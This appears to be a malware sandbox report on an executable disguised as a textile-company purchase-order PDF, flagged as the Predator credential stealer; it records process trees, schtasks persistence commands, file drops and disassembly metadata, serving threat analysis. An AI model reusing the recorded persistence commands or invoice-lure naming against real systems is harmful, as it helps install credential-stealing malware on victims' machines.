Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp
Imagebase:	0xa00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	7
Start time:	09:42:22
Start date:	22/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	8
Start time:	09:42:23
Start date:	22/02/2023
Path:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xb10000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	11
Start time:	09:42:27
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
Imagebase:	0xab0000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	19
Start time:	09:42:49
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232209.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232209.exe" / start
Imagebase:	0xcc0000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	20
Start time:	09:42:53
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Local\Temp\Zip.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Zip.exe"
Imagebase:	0x285a0670000
File size:	32256 bytes
MD5 hash:	3AFD64484A2A34FC34D1155747DD3847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	21
Start time:	09:42:57
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232209.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\update_232209.exe" / start
Imagebase:	0xf80000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Target ID:	22
Start time:	09:43:18
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp20E9.tmp
Imagebase:	0xa00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: conhost.exePID: 5984, Parent PID: 4044

General

Target ID:	23
Start time:	09:43:19
Start date:	22/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: RudGXFgqTDEzz.exePID: 4972, Parent PID: 1092

General

Target ID:	24
Start time:	09:43:25
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xc40000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Predator, Description: Yara detected Predator, Source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	27
Start time:	09:43:44
Start date:	22/02/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp7811.tmp
Imagebase:	0xa00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: conhost.exePID: 5912, Parent PID: 5936

General

Target ID:	28
Start time:	09:43:45
Start date:	22/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: update_232209.exePID: 1324, Parent PID: 2576

General

Target ID:	29
Start time:	09:43:47
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232209.exe
Wow64 process (32bit):	false
Commandline:	{path}
Imagebase:	0x1b0000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: update_232209.exePID: 4556, Parent PID: 2576

General

Target ID:	30
Start time:	09:43:47
Start date:	22/02/2023
Path:	C:\Users\user\AppData\Local\Temp\update_232209.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x910000
File size:	1287168 bytes
MD5 hash:	59E7D6D4CC9667A0D6E06DA8131CDD4D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exEPID: 3268, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	135
Total number of Limit Nodes:	8

Executed Functions

Function 00F36E6B Relevance: 6.1, APIs: 4, Instructions: 121
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F36ED0
GetCurrentThread.KERNEL32 ref: 00F36F0D
GetCurrentProcess.KERNEL32 ref: 00F36F4A
GetCurrentThreadId.KERNEL32 ref: 00F36FA3

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: e8b706caf248e8d8df22fc0eff520bb593e843608adb080824d557c04e140fde
Instruction ID: 2320f9f09faec39fcead4abaa210589fa0c378a46763387feaf653e8af851a63
Opcode Fuzzy Hash: e8b706caf248e8d8df22fc0eff520bb593e843608adb080824d557c04e140fde
Instruction Fuzzy Hash: 8D5144B49002498FDB20CFAAD948BDEBBF1FB48314F20C459E019A7261D7B4A884CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00F36E70 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F36ED0
GetCurrentThread.KERNEL32 ref: 00F36F0D
GetCurrentProcess.KERNEL32 ref: 00F36F4A
GetCurrentThreadId.KERNEL32 ref: 00F36FA3

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1ec8c266506c6bc8f0757c308e4a48957351169e5b06eb53e19b12aba7a62ddb
Instruction ID: 7e5a5356d508d0c862ee43236ba15f6c5d74df56e192a6a2e843555cca199ba0
Opcode Fuzzy Hash: 1ec8c266506c6bc8f0757c308e4a48957351169e5b06eb53e19b12aba7a62ddb
Instruction Fuzzy Hash: CE5156B49002499FDB10CFAAD948B9EBBF5BF48314F20C459E419A7351D7B4A884CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00F36E61 Relevance: 4.6, APIs: 3, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00F36F0D
GetCurrentProcess.KERNEL32 ref: 00F36F4A
GetCurrentThreadId.KERNEL32 ref: 00F36FA3

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: Current$Thread$Process
String ID:
API String ID: 3664162594-0
Opcode ID: 28ef4e9e40cb5e56cb443c0667a1ca2f6517bb32f0fc5d58a8f437d7ce21199b
Instruction ID: 2628c7c46df9556c07cbb70087b414e784db36a0775edf5a26963874489266e3
Opcode Fuzzy Hash: 28ef4e9e40cb5e56cb443c0667a1ca2f6517bb32f0fc5d58a8f437d7ce21199b
Instruction Fuzzy Hash: 20418BB89002499FDB10CFA9D94879EBBF1BF48318F20C459E009A7361D7759884DF65

Uniqueness

Uniqueness Score: -1.00%

Function 00F3BE7B Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F3C0C6

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f9005e2ca60496ac6f6ae8f5be25529a9e72153be0281d7d3a8bfba1afd7bd81
Instruction ID: 8e5d31621a17d617a9dd150661e25cb26cc5313200b6d63c78a9208d43379bc2
Opcode Fuzzy Hash: f9005e2ca60496ac6f6ae8f5be25529a9e72153be0281d7d3a8bfba1afd7bd81
Instruction Fuzzy Hash: FA716670A00B058FD724DF69D85175ABBF1BF88320F00892EE58AD7A40D775E905CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F3DF38 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00F3E04A

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0e4d384861f38f600b1318ff45a8b0b3a5b7a96b594afeeae4056c0a0d6a0d48
Instruction ID: 9fd8c5a764351e058e2e005b2799ee14bff4d4f24908d02dfcd56f7e0893c0d8
Opcode Fuzzy Hash: 0e4d384861f38f600b1318ff45a8b0b3a5b7a96b594afeeae4056c0a0d6a0d48
Instruction Fuzzy Hash: 6941C1B1D00309DFDB14CFA9C984ADEFBB5BF48314F24812AE819AB250D7B59845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F3DF2C Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00F3E04A

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fc85c5fef6bb46b5f9559827eb95e4e91ea97826f194fcd8eac6e4fb4d398160
Instruction ID: f909c1079fb14c39e7f2b5a77bc9463fb1de3b41238a8b4f3dddac5ce1452a71
Opcode Fuzzy Hash: fc85c5fef6bb46b5f9559827eb95e4e91ea97826f194fcd8eac6e4fb4d398160
Instruction Fuzzy Hash: 6551D1B5D00309DFDB14CFA9C984ADEBFB6BF48314F64812AE819AB250D7B59845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04D62E4C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 04D63FB1

Memory Dump Source

Source File: 00000005.00000002.305221274.0000000004D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d60000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b3cd7e50ec0db9c4e8c0fa4941249c9b22b3396e63e856183612ff746a6ac4e4
Instruction ID: d028583498b87d912f1d6f0cd7c65942385583e67fdb98e44494ba283d6ce3b7
Opcode Fuzzy Hash: b3cd7e50ec0db9c4e8c0fa4941249c9b22b3396e63e856183612ff746a6ac4e4
Instruction Fuzzy Hash: 3F4105B1D0071CCBDB24CF99C844B8EBBF1BF48304F24806AD409AB255D7716949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04D60CD0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04D60D91

Memory Dump Source

Source File: 00000005.00000002.305221274.0000000004D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d60000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 37061ae89d0d917bf9b46ade57005a6f09cd6c7de7335d980b2e8ce4e2be67f0
Instruction ID: 85a028f1331cc170ad879e2d150b83fc19a652e29c2408f20ba569a582a11f88
Opcode Fuzzy Hash: 37061ae89d0d917bf9b46ade57005a6f09cd6c7de7335d980b2e8ce4e2be67f0
Instruction Fuzzy Hash: 62414BB4900305CFDB11CF49C848A9ABBF5FB88314F24C559D519AB721D775A845CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F37090 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F3711F

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 00063121f5e1f5bebf6b4b7358d7c5c84c42ea98f4da2704c9020c875b0fd05a
Instruction ID: 119c661bf49d39973880406c997e5ffaebb0dd98a70d25e82b2b4a84a382609c
Opcode Fuzzy Hash: 00063121f5e1f5bebf6b4b7358d7c5c84c42ea98f4da2704c9020c875b0fd05a
Instruction Fuzzy Hash: 4921E3B5D003099FDB10CFAAD984ADEBBF5EB48324F14851AE864A7250D378A954DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F37098 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F3711F

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 907925f2df56003f958ab43dbca57e3d60f313cb0a89353cf5f6c256b56bb09c
Instruction ID: 843b95b8ec63f38354a77ef972457fcafc4e5e70f7e653e218d6e2cea347a064
Opcode Fuzzy Hash: 907925f2df56003f958ab43dbca57e3d60f313cb0a89353cf5f6c256b56bb09c
Instruction Fuzzy Hash: EE21E2B5D002099FDB10CFAAD984ADEBBF9EB48324F14841AE814A3310D378A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3B1D0 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00F3C141,00000800,00000000,00000000), ref: 00F3C352

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ece96fc1f947716f06e20083f727f9323f48f20ab4514a1a1eef764611aa54a6
Instruction ID: 704c4f22fd65065dc7545c1acaaa8721a7a56fcf9c0217b21d80425386455b11
Opcode Fuzzy Hash: ece96fc1f947716f06e20083f727f9323f48f20ab4514a1a1eef764611aa54a6
Instruction Fuzzy Hash: BF11F4B69002099BDB14CF9AC444A9EBBF5AB58324F14842AD455B7200C3B5A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3C2E0 Relevance: 1.6, APIs: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00F3C141,00000800,00000000,00000000), ref: 00F3C352

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e2d0cdac99b5cba8ab93d13cc0ca592ac89a146da8448d088ff6f42a28ba444f
Instruction ID: e7bda6fd5cf8c282e8c998cf3607db876105a55e58e501ea59b3a5691461a3ff
Opcode Fuzzy Hash: e2d0cdac99b5cba8ab93d13cc0ca592ac89a146da8448d088ff6f42a28ba444f
Instruction Fuzzy Hash: C21117B6C003098FDB10CF9AC584ADEBBF5BB58324F14851AD465B7240C3759545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3C060 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00F3C0C6

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: daf051d1754d28f8130bb77ce3815137c30c612fd91d356f1aeccf5b1e3fa507
Instruction ID: ee86333f9cca3a204aa5747d6599000e8c317b48128c27ba8d7970469bbc6ce9
Opcode Fuzzy Hash: daf051d1754d28f8130bb77ce3815137c30c612fd91d356f1aeccf5b1e3fa507
Instruction Fuzzy Hash: CD11D2B6C002498FDB24CF9AD844ADEFBF4AB88324F14851AD459B7600D375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E178 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,?,?), ref: 00F3E1DD

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 2782f4a9a88b45783a2aabc9be21a651aecda3869ba507aca3a74ec292e3b29d
Instruction ID: defadba70454386fd893a6cda6c55af4734e81c0077623e674f04b9e4908e353
Opcode Fuzzy Hash: 2782f4a9a88b45783a2aabc9be21a651aecda3869ba507aca3a74ec292e3b29d
Instruction Fuzzy Hash: AF1136B59002488FDB10CF99D985BDFBBF4EB48324F108419D854A7340C374A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E180 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 00F3E1DD

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 50aa27a0686814e601a790cefafc09582dd0dffdd4ece5fcb2aff3492b65bfc6
Instruction ID: e7d242369704dd52019832d912f7bdea584b68516e0abf5d2524bc29f61ccb82
Opcode Fuzzy Hash: 50aa27a0686814e601a790cefafc09582dd0dffdd4ece5fcb2aff3492b65bfc6
Instruction Fuzzy Hash: 2E11E5B59002099FDB20DF9AD984BDFBBF8EB48324F20851AD855B7740C3B5A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F3C7C0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7994ee23b5ad2997a35dc054dab7c530d6afd544249865b4490cff33fbb8dd4
Instruction ID: 8aceeada499521911c6f70944503cd0f8a12a173892f15e7b837bdb5781d862c
Opcode Fuzzy Hash: f7994ee23b5ad2997a35dc054dab7c530d6afd544249865b4490cff33fbb8dd4
Instruction Fuzzy Hash: 6B12A4F1411F4ACAE710CF65EDA81897BA1F785B2AF904308D3611BAF1D7B8114AEF84

Uniqueness

Uniqueness Score: -1.00%

Function 00F3AF90 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb3647bdc1f6844847a3cba727315fa5b6003f4dda92cbbd1a1d706d5e20b4e
Instruction ID: 8a4aa2d47996fd5f4f0eb7883cf3ec13bfbb39ed55de369370e3073a7ef06090
Opcode Fuzzy Hash: 3eb3647bdc1f6844847a3cba727315fa5b6003f4dda92cbbd1a1d706d5e20b4e
Instruction Fuzzy Hash: F3A17E32E0021ACFCF15DFA5C8545DEBBB2FF84310F15816AEA15BB221DB75A946DB40

Uniqueness

Uniqueness Score: -1.00%

Function 00F3C7BB Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.288352694.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f30000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 962b6e028ccc626ba714cab96a84724f3cfd1f34f71896e75a686cf20c444717
Instruction ID: 6fa59962d30b512506d29fd6ffdcd9c251da46cbe6a6d36be84cfba8099f71e0
Opcode Fuzzy Hash: 962b6e028ccc626ba714cab96a84724f3cfd1f34f71896e75a686cf20c444717
Instruction Fuzzy Hash: C5C129B1811F4ACAE710CF65EDA81897B71FB85B26F514308D3612B6F4D7B8114AEF84

Uniqueness

Uniqueness Score: -1.00%

Function 04D6D17F Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.305221274.0000000004D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d60000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b919bb8fdbf8123261e8342920c094c71534e203a7895fa86508d806bbb5cb57
Instruction ID: b0d9ca0bf99b067002df4b3d8795d7b4030b3720f5d992205e5638a6cbe05c8b
Opcode Fuzzy Hash: b919bb8fdbf8123261e8342920c094c71534e203a7895fa86508d806bbb5cb57
Instruction Fuzzy Hash: 6171CF45408EC1D7E721AA3B0429A92FF40DF17A9CF9913DF81DC4A8C7E6674197D382

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exEPID: 6124, Parent PID: 3268COMMON

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	146
Total number of Limit Nodes:	13

Executed Functions

Function 0145BC18 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0145BE6E

Memory Dump Source

Source File: 00000008.00000002.541116331.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1450000_PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 64299a49983c29af38c7b9e1fd1fb45c24e32df8577e7742b163f60b33f77bcf
Instruction ID: 624296d21ff479f7a3ece1cf0de8a921c1e23395dc0a254e62f76234f2c1696a
Opcode Fuzzy Hash: 64299a49983c29af38c7b9e1fd1fb45c24e32df8577e7742b163f60b33f77bcf
Instruction Fuzzy Hash: 90712570A00B058FD764CF2AD4457ABBBF2FB88204F10892ED49AD7B51DB35E809CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0145DC79 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0145DDEA

